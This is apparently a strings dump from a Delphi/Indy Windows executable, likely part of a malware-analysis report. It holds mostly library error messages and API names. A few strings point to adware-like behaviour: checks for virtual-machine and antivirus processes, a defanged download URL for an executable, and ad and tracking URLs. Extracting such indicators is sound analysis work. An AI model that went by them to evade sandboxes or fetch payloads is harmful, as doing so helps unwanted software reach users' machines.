HTTPS

TIdEncoder3to4.Encode: Calculated length exceeded (expected

TIdEncoder3to4.Encode: Calculated length exceeded (expected

C:\Builds\TP\indysockets\lib\Protocols\IdCoder3to4.pas

C:\Builds\TP\indysockets\lib\Protocols\IdCoder3to4.pas

TIdEncoder3to4.Encode: Calculated length not met (expected

TIdEncoder3to4.Encode: Calculated length not met (expected

HttpOnly

HttpOnly

HTTPONLY

HTTPONLY

port

port

COMMENTURL

COMMENTURL

PORT

PORT

.local

.local

C:\Builds\TP\indysockets\lib\Protocols\IdZLibCompressorBase.pas

C:\Builds\TP\indysockets\lib\Protocols\IdZLibCompressorBase.pas

C:\Builds\TP\indysockets\lib\Core\IdThread.pas

C:\Builds\TP\indysockets\lib\Core\IdThread.pas

C:\Builds\TP\indysockets\lib\Core\IdScheduler.pas

C:\Builds\TP\indysockets\lib\Core\IdScheduler.pas

Mozilla/3.0 (compatible; Indy Library)

Mozilla/3.0 (compatible; Indy Library)

%d%s%d

%d%s%d

C:\Builds\TP\indysockets\lib\Protocols\IdSSLOpenSSLHeaders.pas

C:\Builds\TP\indysockets\lib\Protocols\IdSSLOpenSSLHeaders.pas

libeay32.dll

libeay32.dll

ssleay32.dll

ssleay32.dll

libssl32.dll

libssl32.dll

SSL_CTX_use_PrivateKey_file

SSL_CTX_use_PrivateKey_file

SSL_CTX_use_PrivateKey

SSL_CTX_use_PrivateKey

SSL_CTX_use_certificate

SSL_CTX_use_certificate

SSL_CTX_use_certificate_file

SSL_CTX_use_certificate_file

SSL_get_peer_certificate

SSL_get_peer_certificate

SSL_CTX_set_default_passwd_cb

SSL_CTX_set_default_passwd_cb

SSL_CTX_set_default_passwd_cb_userdata

SSL_CTX_set_default_passwd_cb_userdata

SSL_CTX_check_private_key

SSL_CTX_check_private_key

X509_STORE_CTX_get_current_cert

X509_STORE_CTX_get_current_cert

DES_set_key

DES_set_key

_ossl_old_des_set_key

_ossl_old_des_set_key

des_set_key

des_set_key

RSA_generate_key

RSA_generate_key

RSA_check_key

RSA_check_key

i2d_PrivateKey_bio

i2d_PrivateKey_bio

X509_set_pubkey

X509_set_pubkey

X509_REQ_set_pubkey

X509_REQ_set_pubkey

PEM_write_bio_PKCS8PrivateKey

PEM_write_bio_PKCS8PrivateKey

PEM_read_bio_PrivateKey

PEM_read_bio_PrivateKey

EVP_PKEY_type

EVP_PKEY_type

EVP_PKEY_new

EVP_PKEY_new

EVP_PKEY_free

EVP_PKEY_free

EVP_PKEY_assign

EVP_PKEY_assign

C:\Builds\TP\indysockets\lib\Protocols\IdSSLOpenSSL.pas

C:\Builds\TP\indysockets\lib\Protocols\IdSSLOpenSSL.pas

C:\Builds\TP\indysockets\lib\Protocols\IdHTTP.pas

C:\Builds\TP\indysockets\lib\Protocols\IdHTTP.pas

application/x-www-form-urlencoded

application/x-www-form-urlencoded

https

https

HTTP/1.0 200 OK

HTTP/1.0 200 OK

HTTP/

HTTP/

Mozilla/5.0

Mozilla/5.0

00-00-00-00-00-00

00-00-00-00-00-00

VBoxService.exe

VBoxService.exe

ShadowTip.exe

ShadowTip.exe

PowerRemind.exe

PowerRemind.exe

ShadowService.exe

ShadowService.exe

/paramfile/main.txt

/paramfile/main.txt

360Tray.exe

360Tray.exe

/detail.ashx

/detail.ashx

/bestcount.ashx

/bestcount.ashx

/newcount.aspx

/newcount.aspx

hXXp://tongji.110160.com

hXXp://tongji.110160.com

/paramfile/tasklist.txt

/paramfile/tasklist.txt

/will.html

/will.html

;hXXp://downbase.oss-cn-qingdao.aliyuncs.com/OfficeAssist.0195.80.1054.exe;OfficeAssist.0195.80.1054.exe;0;0;

;hXXp://downbase.oss-cn-qingdao.aliyuncs.com/OfficeAssist.0195.80.1054.exe;OfficeAssist.0195.80.1054.exe;0;0;

hXXp://VVV.91debug.com/ad.html

hXXp://VVV.91debug.com/ad.html

hXXp://jc.110160.com/ad.htm

hXXp://jc.110160.com/ad.htm

Explorer.exe

Explorer.exe

firefox

firefox

chrome

chrome

opera

opera

hXXp://jc.110160.com

hXXp://jc.110160.com

\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders

\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders

Kernel32.dll

Kernel32.dll

Open SSL Support DLL Delphi and C Builder interface

Open SSL Support DLL Delphi and C Builder interface

hXXp://VVV.indyproject.org/

hXXp://VVV.indyproject.org/

1993 - 2009

1993 - 2009

ymeta.dat

ymeta.dat

SSL status: "%s"pUnsupported object type. You can assign only one of the following types or their descendants: TStrings, TStream.

SSL status: "%s"pUnsupported object type. You can assign only one of the following types or their descendants: TStrings, TStream.

Unsupported operation.&Cannot change the size of a JPEG image

Unsupported operation.&Cannot change the size of a JPEG image

JPEG error #%d

JPEG error #%d

(Request method requires HTTP version 1.1DThis authentication method is already registered with class name %s.KUnsupported hash algorithm. This implementation supports only MD5 encoding.$Error accepting connection with SSL.

(Request method requires HTTP version 1.1DThis authentication method is already registered with class name %s.KUnsupported hash algorithm. This implementation supports only MD5 encoding.$Error accepting connection with SSL.

Error creating SSL context. Could not load root certificate.

Error creating SSL context. Could not load root certificate.

Could not load certificate.#Could not load key, check password.

Could not load certificate.#Could not load key, check password.

Transparent proxy cannot bind. UDP Not supported by this proxy.$Buffer terminator must be specified.!Buffer start position is invalid.$Cannot change a connected IOHandler.%No IOHandler of type %s is installed.

Transparent proxy cannot bind. UDP Not supported by this proxy.$Buffer terminator must be specified.!Buffer start position is invalid.$Cannot change a connected IOHandler.%No IOHandler of type %s is installed.

Reply Code is not valid: %s

Reply Code is not valid: %s

Reply Code already exists: %s

Reply Code already exists: %s

"%d: Circular links are not allowed"Not enough data in buffer. (%d/%d)

"%d: Circular links are not allowed"Not enough data in buffer. (%d/%d)

File "%s" not found

File "%s" not found

Object type not supported.

Object type not supported.

Already connected.'Maximum number of line allowed exceeded)UDP is not support in this SOCKS version.

Already connected.'Maximum number of line allowed exceeded)UDP is not support in this SOCKS version.

Request rejected or failed.5Request rejected because SOCKS server cannot connect.QRequest rejected because the client program and identd report different user-ids.

Request rejected or failed.5Request rejected because SOCKS server cannot connect.QRequest rejected because the client program and identd report different user-ids.

Command not supported.

Command not supported.

Address type not supported.

Address type not supported.

Stack already created.1Only one TIdAntiFreeze can exist per application.&Cannot change IPVersion when connected$Can not bind in port range (%d - %d)

Stack already created.1Only one TIdAntiFreeze can exist per application.&Cannot change IPVersion when connected$Can not bind in port range (%d - %d)

Connection Closed Gracefully.;Could not bind socket. Address and port are already in use.

Connection Closed Gracefully.;Could not bind socket. Address and port are already in use.

Invalid Port Range (%d - %d)

Invalid Port Range (%d - %d)

%s is not a valid service.

%s is not a valid service.

%s is not a valid IPv6 address:The requested IPVersion / Address family is not supported.

%s is not a valid IPv6 address:The requested IPVersion / Address family is not supported.

Socket is not connected..Cannot send or receive after socket is closed.#Too many references, cannot splice.

Socket is not connected..Cannot send or receive after socket is closed.#Too many references, cannot splice.

Operation would block.

Operation would block.

Operation now in progress.

Operation now in progress.

Operation already in progress.

Operation already in progress.

Socket operation on non-socket.

Socket operation on non-socket.

Protocol not supported.

Protocol not supported.

Socket type not supported."Operation not supported on socket.

Socket type not supported."Operation not supported on socket.

Protocol family not supported.0Address family not supported by protocol family.

Protocol family not supported.0Address family not supported by protocol family.

Network is down.4Failed attempting to retrieve time zone information.-Error on call to Winsock2 library function %s&Error on loading Winsock2 library (%s)

Network is down.4Failed attempting to retrieve time zone information.-Error on call to Winsock2 library function %s&Error on loading Winsock2 library (%s)

Resolving hostname %s.

Resolving hostname %s.

Connecting to %s.

Connecting to %s.

Socket Error # %d

Socket Error # %d

- Dock zone has no controlLError loading dock zone from the stream. Expecting version %d, but found %d.

- Dock zone has no controlLError loading dock zone from the stream. Expecting version %d, but found %d.

OLE error %.8x.Method '%s' not supported by automation object/Variant does not reference an automation object7Dispatch methods do not support more than 64 parameters

OLE error %.8x.Method '%s' not supported by automation object/Variant does not reference an automation object7Dispatch methods do not support more than 64 parameters

DCOM not installed"'%s' is not a valid property value

DCOM not installed"'%s' is not a valid property value

OLE control activation failed*Could not obtain OLE control window handle%License information for %s is invalidPLicense information for %s not found. You cannot use this control in design modeNUnable to retrieve a pointer to a running object registered with OLE for %s/%s

OLE control activation failed*Could not obtain OLE control window handle%License information for %s is invalidPLicense information for %s not found. You cannot use this control in design modeNUnable to retrieve a pointer to a running object registered with OLE for %s/%s

All Clipboard does not support Icons Operation not supported on selected printer.There is no default printer currently selected/Menu '%s' is already being used by another form

All Clipboard does not support Icons Operation not supported on selected printer.There is no default printer currently selected/Menu '%s' is already being used by another form

%s on %s@GroupIndex cannot be less than a previous menu item's GroupIndex5Cannot create form. No MDI forms are currently active*A control cannot have itself as its parent

%s on %s@GroupIndex cannot be less than a previous menu item's GroupIndex5Cannot create form. No MDI forms are currently active*A control cannot have itself as its parent

Error creating window class Cannot focus a disabled or invisible window!Control '%s' has no parent window$Parent given is not a parent of '%s'

Error creating window class Cannot focus a disabled or invisible window!Control '%s' has no parent window$Parent given is not a parent of '%s'

No help found for %s

No help found for %s

Scan line index out of range!Cannot change the size of an iconÊnnot change the size of a WIC Image Invalid operation on TOleGraphic$Unknown picture file extension (.%s)

Scan line index out of range!Cannot change the size of an iconÊnnot change the size of a WIC Image Invalid operation on TOleGraphic$Unknown picture file extension (.%s)

Unsupported clipboard format

Unsupported clipboard format

Invalid image size2Cannot call Start on a running or suspended thread'Parameter %s cannot be a negative value*Input buffer exceeded for %s = %d, %s = %d The specified file was not found$No help viewer that supports filters7String index out of range (%d). Must be >= 1 and

Invalid image size2Cannot call Start on a running or suspended thread'Parameter %s cannot be a negative value*Input buffer exceeded for %s = %d, %s = %d The specified file was not found$No help viewer that supports filters7String index out of range (%d). Must be >= 1 and

Invalid Timeout value: %s#''%s'' is not a valid integer value

Invalid Timeout value: %s#''%s'' is not a valid integer value

Error reading %s%s%s: %s

Error reading %s%s%s: %s

Failed to create key %s

Failed to create key %s

Failed to get data for '%s'

Failed to get data for '%s'

Failed to set data for '%s'

Failed to set data for '%s'

Resource %s not found

Resource %s not found

%s.Seek not implemented$Operation not allowed on sorted list$%s not in a class registration group

%s.Seek not implemented$Operation not allowed on sorted list$%s not in a class registration group

Property %s does not exist

Property %s does not exist

Thread creation error: %s

Thread creation error: %s

Thread Error: %s (%d)-Cannot terminate an externally created thread,Cannot wait for an externally created thread#A component named %s already exists%String list does not allow duplicates

Thread Error: %s (%d)-Cannot terminate an externally created thread,Cannot wait for an externally created thread#A component named %s already exists%String list does not allow duplicates

Cannot create file "%s". %s

Cannot create file "%s". %s

Cannot open file "%s". %s

Cannot open file "%s". %s

Invalid file name - %s

Invalid file name - %s

Invalid stream format$''%s'' is not a valid component name

Invalid stream format$''%s'' is not a valid component name

Invalid data type for '%s' List capacity out of bounds (%d)

Invalid data type for '%s' List capacity out of bounds (%d)

List count out of bounds (%d)

List count out of bounds (%d)

List index out of bounds (%d) Out of memory while expanding memory stream)%s has not been registered as a COM class

List index out of bounds (%d) Out of memory while expanding memory stream)%s has not been registered as a COM class

Invalid destination array"Character index out of bounds (%d)

Invalid destination array"Character index out of bounds (%d)

Start index out of bounds (%d)

Start index out of bounds (%d)

Invalid count (%d)

Invalid count (%d)

Invalid destination index (%d)

Invalid destination index (%d)

Ancestor for '%s' not found

Ancestor for '%s' not found

Cannot assign a %s to a %s

Cannot assign a %s to a %s

Bits index out of range*Can't write to a read-only resource streamECheckSynchronize called from thread $%x, which is NOT the main thread

Bits index out of range*Can't write to a read-only resource streamECheckSynchronize called from thread $%x, which is NOT the main thread

Class %s not found

Class %s not found

A class named %s already exists%List does not allow duplicates ($0%x)

A class named %s already exists%List does not allow duplicates ($0%x)

External exception %x

External exception %x

Interface not supported

Interface not supported

Object lock not owned(Monitor support function not initialized

Object lock not owned(Monitor support function not initialized

%s (%s, line %d)

%s (%s, line %d)

Abstract Error?Access violation at address %p in module '%s'. %s of address %p

Abstract Error?Access violation at address %p in module '%s'. %s of address %p

System Error. Code: %d.

System Error. Code: %d.

Invalid variant operation

Invalid variant operation

Invalid NULL variant operation%Invalid variant operation (%s%.8x)

Invalid NULL variant operation%Invalid variant operation (%s%.8x)

%s,Custom variant type (%s%.4x) is out of range/Custom variant type (%s%.4x) already used by %s*Custom variant type (%s%.4x) is not usable2Too many custom variant types have been registered5Could not convert variant of type (%s) into type (%s)=Overflow while converting variant of type (%s) into type (%s)

%s,Custom variant type (%s%.4x) is out of range/Custom variant type (%s%.4x) already used by %s*Custom variant type (%s%.4x) is not usable2Too many custom variant types have been registered5Could not convert variant of type (%s) into type (%s)=Overflow while converting variant of type (%s) into type (%s)

Operation not supported

Operation not supported

Invalid class typecast0Access violation at address %p. %s of address %p

Invalid class typecast0Access violation at address %p. %s of address %p

Operation aborted(Exception %s in module %s at %p.

Operation aborted(Exception %s in module %s at %p.

Application Error1Format '%s' invalid or incompatible with argument

Application Error1Format '%s' invalid or incompatible with argument

No argument for format '%s'"Variant method calls not supported

No argument for format '%s'"Variant method calls not supported

I/O error %d

I/O error %d

Integer overflow Invalid floating point operation

Integer overflow Invalid floating point operation

Invalid pointer operation

Invalid pointer operation

copy%original file name%.exe_1316:

.text

.text

`.itext

`.itext

`.data

`.data

.idata

.idata

.didata

.didata

.rdata

.rdata

@.reloc

@.reloc

B.rsrc

B.rsrc

biClrImportant

biClrImportant

tagMSG

tagMSG

Windows

Windows

HKEY

HKEY

TWMKey

TWMKey

KeyData

KeyData

grfLocksSupported

grfLocksSupported

ENoMonitorSupportException

ENoMonitorSupportException

.uvCOu

.uvCOu

$*@@@*$@@@$ *@@* $@@($*)@-$*@@$-*@@$*-@@(*$)@-*$@@*-$@@*$-@@-* $@-$ *@* $-@$ *-@$ -*@*- $@($ *)(* $)

$*@@@*$@@@$ *@@* $@@($*)@-$*@@$-*@@$*-@@(*$)@-*$@@*-$@@*$-@@-* $@-$ *@* $-@$ *-@$ -*@*- $@($ *)(* $)

etNoMonitorSupportException

etNoMonitorSupportException

Operator

Operator

EVariantBadIndexError

EVariantBadIndexError

ssShift

ssShift

htKeyword

htKeyword

EInvalidOperation

EInvalidOperation

TList.TDirection

TList.TDirection

AOperator

AOperator

TThread.TSynchronizeRecord

TThread.TSynchronizeRecord

TOperation

TOperation

Operation

Operation

FOnExecute

FOnExecute

OnExecute

OnExecute

TList.Sort$ActRec

TList.Sort$ActRec

TComponent.FindComponent$ActRecx

TComponent.FindComponent$ActRecx

TComponent.FindComponent$ActRecT

TComponent.FindComponent$ActRecT

Uhe%D

Uhe%D

HelpKeyword

HelpKeyword

UnderstandsKeyword

UnderstandsKeyword

TRegKeyInfo

TRegKeyInfo

NumSubKeys

NumSubKeys

MaxSubKeyLen

MaxSubKeyLen

FCurrentKey

FCurrentKey

FRootKey

FRootKey

FCloseRootKey

FCloseRootKey

CloseKey

CloseKey

CreateKey

CreateKey

DeleteKey

DeleteKey

GetKeyInfo

GetKeyInfo

GetKeyNames

GetKeyNames

HasSubKeys

HasSubKeys

KeyExists

KeyExists

LoadKey

LoadKey

MoveKey

MoveKey

OpenKey

OpenKey

OpenKeyReadOnly

OpenKeyReadOnly

ReplaceKey

ReplaceKey

RestoreKey

RestoreKey

SaveKey

SaveKey

UnLoadKey

UnLoadKey

CurrentKey@

CurrentKey@

LastErrorMsg

LastErrorMsg

RootKey@

RootKey@

RootKeyName

RootKeyName

EInvalidGraphicOperation

EInvalidGraphicOperation

SupportsPartialTransparency

SupportsPartialTransparency

SupportsClipboardFormat

SupportsClipboardFormat

Monochrome

Monochrome

TCustomButton.TButtonStyle

TCustomButton.TButtonStyle

OnKeyDown

OnKeyDown

OnKeyPress(HG

OnKeyPress(HG

OnKeyUp

OnKeyUp

poPortrait

poPortrait

APort

APort

Port

Port

FAutoHotkeys

FAutoHotkeys

RethinkHotkeys

RethinkHotkeys

AutoHotkeysXqF

AutoHotkeysXqF

IsShortCut

IsShortCut

AutoHotkeys

AutoHotkeys

igoParentPassthrough

igoParentPassthrough

FAlwaysShowDragImages

FAlwaysShowDragImages

AlwaysShowDragImages

AlwaysShowDragImages

toFlickFallbackKeys

toFlickFallbackKeys

'TCustomGestureEngine.TGestureEngineFlag

'TCustomGestureEngine.TGestureEngineFlag

(TCustomGestureEngine.TGestureEngineFlags

(TCustomGestureEngine.TGestureEngineFlags

Supported

Supported

TKeyEvent

TKeyEvent

TKeyPressEvent

TKeyPressEvent

FHelpKeyword

FHelpKeyword

HelpKeyword4

HelpKeyword4

FOnKeyDown

FOnKeyDown

FOnKeyPress

FOnKeyPress

FOnKeyUp

FOnKeyUp

IsHintMsg

IsHintMsg

FNativeWheelSupport

FNativeWheelSupport

FWheelSupportMessage

FWheelSupportMessage

thHeaderItemLeftPressed

thHeaderItemLeftPressed

tsArrowBtnLeftPressed

tsArrowBtnLeftPressed

ttbThumbLeftPressed

ttbThumbLeftPressed

lrMonoChrome

lrMonoChrome

HelpKeywordT

HelpKeywordT

ssHotTrack

ssHotTrack

TWindowState

TWindowState

poProportional

poProportional

fsShowing

fsShowing

FWindowState

FWindowState

FKeyPreview

FKeyPreview

WantChildKey

WantChildKey

KeyPreview

KeyPreview

WindowState

WindowState

FBiDiKeyboard

FBiDiKeyboard

FNonBiDiKeyboard

FNonBiDiKeyboard

FEnumAllWindowsOnActivateHint

FEnumAllWindowsOnActivateHint

FOnActionExecute

FOnActionExecute

Keyword

Keyword

EnumAllWindowsOnActivateHint@

EnumAllWindowsOnActivateHint@

BiDiKeyboard@

BiDiKeyboard@

NonBiDiKeyboard

NonBiDiKeyboard

OnActionExecuted

OnActionExecuted

LicenseKey

LicenseKey

IWebBrowser

IWebBrowser

IWebBrowserApp

IWebBrowserApp

IWebBrowser2@

IWebBrowser2@

TWebBrowserStatusTextChange

TWebBrowserStatusTextChange

TWebBrowserProgressChange

TWebBrowserProgressChange

TWebBrowserCommandStateChange

TWebBrowserCommandStateChange

TWebBrowserTitleChange

TWebBrowserTitleChange

TWebBrowserPropertyChange

TWebBrowserPropertyChange

TWebBrowserBeforeNavigate2

TWebBrowserBeforeNavigate2

TWebBrowserNewWindow2

TWebBrowserNewWindow2

TWebBrowserNavigateComplete2

TWebBrowserNavigateComplete2

TWebBrowserDocumentComplete

TWebBrowserDocumentComplete

TWebBrowserOnVisible

TWebBrowserOnVisible

TWebBrowserOnToolBar

TWebBrowserOnToolBar

TWebBrowserOnMenuBar

TWebBrowserOnMenuBar

TWebBrowserOnStatusBar

TWebBrowserOnStatusBar

TWebBrowserOnFullScreen

TWebBrowserOnFullScreen

TWebBrowserOnTheaterMode

TWebBrowserOnTheaterMode

TWebBrowserWindowSetResizable

TWebBrowserWindowSetResizable

TWebBrowserWindowSetLeft

TWebBrowserWindowSetLeft

TWebBrowserWindowSetTop

TWebBrowserWindowSetTop

TWebBrowserWindowSetWidth

TWebBrowserWindowSetWidth

TWebBrowserWindowSetHeight

TWebBrowserWindowSetHeight

TWebBrowserWindowClosing

TWebBrowserWindowClosing

TWebBrowserClientToHostWindow

TWebBrowserClientToHostWindow

TWebBrowserSetSecureLockIcon

TWebBrowserSetSecureLockIcon

TWebBrowserFileDownload

TWebBrowserFileDownload

TWebBrowserNavigateError

TWebBrowserNavigateError

%TWebBrowserPrintTemplateInstantiation

%TWebBrowserPrintTemplateInstantiation

TWebBrowserPrintTemplateTeardown

TWebBrowserPrintTemplateTeardown

TWebBrowserUpdatePageStatus

TWebBrowserUpdatePageStatus

%TWebBrowserPrivacyImpactedStateChange

%TWebBrowserPrivacyImpactedStateChange

FOnWindowSetResizable

FOnWindowSetResizable

FOnWindowSetLeft

FOnWindowSetLeft

FOnWindowSetTop

FOnWindowSetTop

FOnWindowSetWidth

FOnWindowSetWidth

FOnWindowSetHeight

FOnWindowSetHeight

TWebBrowser&

TWebBrowser&

cmdID

cmdID

cmdexecopt

cmdexecopt

TWebBrowser

TWebBrowser

OnWindowSetResizable

OnWindowSetResizable

OnWindowSetLeftT

OnWindowSetLeftT

OnWindowSetTop

OnWindowSetTop

OnWindowSetWidth8

OnWindowSetWidth8

OnWindowSetHeight

OnWindowSetHeight

LocationURL

LocationURL

AMsg

AMsg

EIdCanNotBindPortInRange

EIdCanNotBindPortInRange

EIdCanNotBindPortInRangeL

EIdCanNotBindPortInRangeL

EIdInvalidPortRange,

EIdInvalidPortRange,

EIdInvalidPortRange

EIdInvalidPortRange

CheckIPVersionSupport

CheckIPVersionSupport

VPort

VPort

WSGetServByPort

WSGetServByPort

APortNumber

APortNumber

IdStackWindows

IdStackWindows

TIdSocketListWindows4

TIdSocketListWindows4

TIdSocketListWindows

TIdSocketListWindows

TIdStackWindowsg

TIdStackWindowsg

ReceiveMsg

ReceiveMsg

WSTranslateSocketErrorMsg

WSTranslateSocketErrorMsg

SupportsIPv6

SupportsIPv6

TIdStackWindows

TIdStackWindows

EIdIPVersionUnsupported

EIdIPVersionUnsupported

FSourcePort

FSourcePort

FDestPort

FDestPort

SourcePort

SourcePort

DestPort

DestPort

ftpTransfer

ftpTransfer

ftpReady

ftpReady

ftpAborted

ftpAborted

FClientPortMin

FClientPortMin

FClientPortMax

FClientPortMax

FPort

FPort

FPeerPort

FPeerPort

ClientPortMin

ClientPortMin

ClientPortMax@

ClientPortMax@

PeerPortSVW

PeerPortSVW

EIdPortRequired

EIdPortRequired

EIdTCPConnectionError

EIdTCPConnectionError

EIdTCPConnectionError8

EIdTCPConnectionError8

EIdObjectTypeNotSupported

EIdObjectTypeNotSupported

VMsgEnd

VMsgEnd

"EIdTransparentProxyUDPNotSupported

"EIdTransparentProxyUDPNotSupported

"EIdTransparentProxyUDPNotSupported|

"EIdTransparentProxyUDPNotSupported|

FPassword

FPassword

OpenUDP

OpenUDP

CloseUDP

CloseUDP

RecvFromUDP

RecvFromUDP

VPeerPort

VPeerPort

SendToUDP

SendToUDP

Password

Password

FBoundPort

FBoundPort

FBoundPortMax

FBoundPortMax

FBoundPortMin

FBoundPortMin

TIdTCPClientCustom'

TIdTCPClientCustom'

TIdTCPClientCustomL

TIdTCPClientCustomL

IdTCPClient

IdTCPClient

BoundPort

BoundPort

BoundPortMax

BoundPortMax

BoundPortMin

BoundPortMin

TIdTCPClient

TIdTCPClient

TIdTCPClientP

TIdTCPClientP

IPAsString

IPAsString

%EIdSocksUDPNotSupportedBySOCKSVersion

%EIdSocksUDPNotSupportedBySOCKSVersion

%EIdSocksUDPNotSupportedBySOCKSVersionL-N

%EIdSocksUDPNotSupportedBySOCKSVersionL-N

saUsernamePassword

saUsernamePassword

FUDPSocksAssociation

FUDPSocksAssociation

FDefaultPort

FDefaultPort

DefaultPort

DefaultPort

FLastCmdResult

FLastCmdResult

TIdTCPConnectionB

TIdTCPConnectionB

RaiseExceptionForLastCmdResult

RaiseExceptionForLastCmdResult

SendCmd

SendCmd

SendCmdf

SendCmdf

TIdTCPConnection

TIdTCPConnection

IdTCPConnection

IdTCPConnection

LastCmdResult

LastCmdResult

URLDecode

URLDecode

URLEncode

URLEncode

Password@

Password@

Port@

Port@

URLd

URLd

AURL

AURL

FHttpOnly

FHttpOnly

HttpOnly@

HttpOnly@

FCommentURL

FCommentURL

FPortList

FPortList

FRecvPort

FRecvPort

FUsePort

FUsePort

CommentURL

CommentURL

PortCount

PortCount

UsePort

UsePort

RecvPort

RecvPort

CompressFTPDeflate

CompressFTPDeflate

CompressFTPToIO

CompressFTPToIO

DecompressFTPFromIO

DecompressFTPFromIO

DecompressFTPDeflate

DecompressFTPDeflate

CompressHTTPDeflate

CompressHTTPDeflate

DecompressHTTPDeflate

DecompressHTTPDeflate

fPassThrough

fPassThrough

PassThrough

PassThrough

MakeFTPSvrPort

MakeFTPSvrPort

MakeFTPSvrPasv

MakeFTPSvrPasv

FURL

FURL

IdHTTPHeaderInfo

IdHTTPHeaderInfo

ProxyPassword

ProxyPassword

ProxyPort@

ProxyPort@

dsa_keygen

dsa_keygen

pub_key

pub_key

priv_key

priv_key

PEVP_PKEY

PEVP_PKEY

EVP_PKEY_union

EVP_PKEY_union

EVP_PKEY

EVP_PKEY

pkey

pkey

pkey_type

pkey_type

required_pkey_type

required_pkey_type

key_len

key_len

key_length

key_length

AUTHORITY_KEYID

AUTHORITY_KEYID

keyid

keyid

PAUTHORITY_KEYID

PAUTHORITY_KEYID

X509_PUBKEY

X509_PUBKEY

public_key

public_key

PX509_PUBKEY

PX509_PUBKEY

X509_CERT_AUX

X509_CERT_AUX

PX509_CERT_AUX

PX509_CERT_AUX

cert_info

cert_info

ex_nscert

ex_nscert

get_cert_methods

get_cert_methods

cert_crl

cert_crl

ppem_password_cb

ppem_password_cb

key_arg_length

key_arg_length

key_arg

key_arg

master_key_length

master_key_length

master_key

master_key

sess_cert

sess_cert

Ptlsext_ticket_key_cb!

Ptlsext_ticket_key_cb!

cert_store

cert_store

default_passwd_callback

default_passwd_callback

default_passwd_callback_userdata

default_passwd_callback_userdata

client_cert_cb

client_cert_cb

extra_certs

extra_certs

max_cert_list

max_cert_list

cert

cert

msg_callback

msg_callback

msg_callback_arg

msg_callback_arg

client_cert_engine

client_cert_engine

tlsext_tick_key_name

tlsext_tick_key_name

tlsext_tick_hmac_key

tlsext_tick_hmac_key

tlsext_tick_aes_key

tlsext_tick_aes_key

tlsext_ticket_key_cb

tlsext_ticket_key_cb

init_msg

init_msg

read_key

read_key

write_key

write_key

key_material_length

key_material_length

key_material

key_material

tmp_cert_type

tmp_cert_type

tmp_cert_length

tmp_cert_length

tmp_cert_verify_md

tmp_cert_verify_md

tmp_cert_req

tmp_cert_req

tmp_key_block_length

tmp_key_block_length

tmp_key_block

tmp_key_block

tmp_cert_request

tmp_cert_request

msg_len

msg_len

w_msg_hdr

w_msg_hdr

r_msg_hdr

r_msg_hdr

sslvrfFailIfNoPeerCert

sslvrfFailIfNoPeerCert

TPasswordEvent

TPasswordEvent

Certificate

Certificate

fsRootCertFile

fsRootCertFile

fsCertFile

fsCertFile

fsKeyFile

fsKeyFile

RootCertFile@

RootCertFile@

CertFile@

CertFile@

KeyFile

KeyFile

LoadRootCert

LoadRootCert

LoadCert

LoadCert

RootCertFiled

RootCertFiled

CertFiled

CertFiled

fPeerCert

fPeerCert

PeerCert

PeerCert

fOnGetPassword

fOnGetPassword

OnGetPassword

OnGetPassword

EIdOSSLLoadingRootCertError

EIdOSSLLoadingRootCertError

EIdOSSLLoadingCertError

EIdOSSLLoadingCertError

EIdOSSLLoadingCertErrorp

EIdOSSLLoadingCertErrorp

EIdOSSLLoadingKeyError

EIdOSSLLoadingKeyError

EIdOSSLLoadingKeyError(

EIdOSSLLoadingKeyError(

TIdHTTPConnectionType

TIdHTTPConnectionType

IdHTTP

IdHTTP

TIdHTTPOption

TIdHTTPOption

TIdHTTPOptions

TIdHTTPOptions

TIdHTTPProtocolVersion

TIdHTTPProtocolVersion

TIdHTTPOnRedirectEvent

TIdHTTPOnRedirectEvent

TIdHTTPOnHeadersAvailable

TIdHTTPOnHeadersAvailable

FHTTP

FHTTP

TIdHTTPResponse7

TIdHTTPResponse7

TIdHTTPResponse(

TIdHTTPResponse(

TIdHTTPRequest5

TIdHTTPRequest5

AHTTP

AHTTP

TIdHTTPRequest

TIdHTTPRequest

TIdHTTPProtocol;

TIdHTTPProtocol;

TIdHTTPProtocol

TIdHTTPProtocol

FHTTPProto

FHTTPProto

TIdCustomHTTP'

TIdCustomHTTP'

TIdCustomHTTP

TIdCustomHTTP

HTTPOptions

HTTPOptions

TIdHTTP

TIdHTTP

TIdHTTP@

TIdHTTP@

EIdHTTPProtocolExceptionn

EIdHTTPProtocolExceptionn

EIdHTTPProtocolException0

EIdHTTPProtocolException0

BaseHttpn

BaseHttpn

GetWebRequestByGet

GetWebRequestByGet

GetWebRequestByPost

GetWebRequestByPost

BaseHttp

BaseHttp

HttpHelper

HttpHelper

TFileOperation

TFileOperation

FileOperation

FileOperation

FCompletionPort

FCompletionPort

WebBrowser1

WebBrowser1

WebMainFrm

WebMainFrm

ShowCmd

ShowCmd

HotKey

HotKey

UrlMon

UrlMon

IdTCPServer

IdTCPServer

IdCustomTCPServer

IdCustomTCPServer

KGS!@#$%X

KGS!@#$%X

?456789:;

?456789:;

!"#$%&'()* ,-./0123

!"#$%&'()* ,-./0123

oleaut32.dll

oleaut32.dll

advapi32.dll

advapi32.dll

RegOpenKeyExW

RegOpenKeyExW

RegCloseKey

RegCloseKey

user32.dll

user32.dll

kernel32.dll

kernel32.dll

UnhookWindowsHookEx

UnhookWindowsHookEx

SetWindowsHookExW

SetWindowsHookExW

MsgWaitForMultipleObjectsEx

MsgWaitForMultipleObjectsEx

MsgWaitForMultipleObjects

MsgWaitForMultipleObjects

MapVirtualKeyW

MapVirtualKeyW

LoadKeyboardLayoutW

LoadKeyboardLayoutW

GetKeyboardState

GetKeyboardState

GetKeyboardLayoutNameW

GetKeyboardLayoutNameW

GetKeyboardLayoutList

GetKeyboardLayoutList

GetKeyboardLayout

GetKeyboardLayout

GetKeyState

GetKeyState

GetKeyNameTextW

GetKeyNameTextW

EnumWindows

EnumWindows

EnumThreadWindows

EnumThreadWindows

EnumChildWindows

EnumChildWindows

ActivateKeyboardLayout

ActivateKeyboardLayout

msimg32.dll

msimg32.dll

gdi32.dll

gdi32.dll

SetViewportOrgEx

SetViewportOrgEx

version.dll

version.dll

GetCPInfo

GetCPInfo

CreateIoCompletionPort

CreateIoCompletionPort

RegUnLoadKeyW

RegUnLoadKeyW

RegSaveKeyW

RegSaveKeyW

RegRestoreKeyW

RegRestoreKeyW

RegReplaceKeyW

RegReplaceKeyW

RegQueryInfoKeyW

RegQueryInfoKeyW

RegLoadKeyW

RegLoadKeyW

RegFlushKey

RegFlushKey

RegEnumKeyExW

RegEnumKeyExW

RegDeleteKeyW

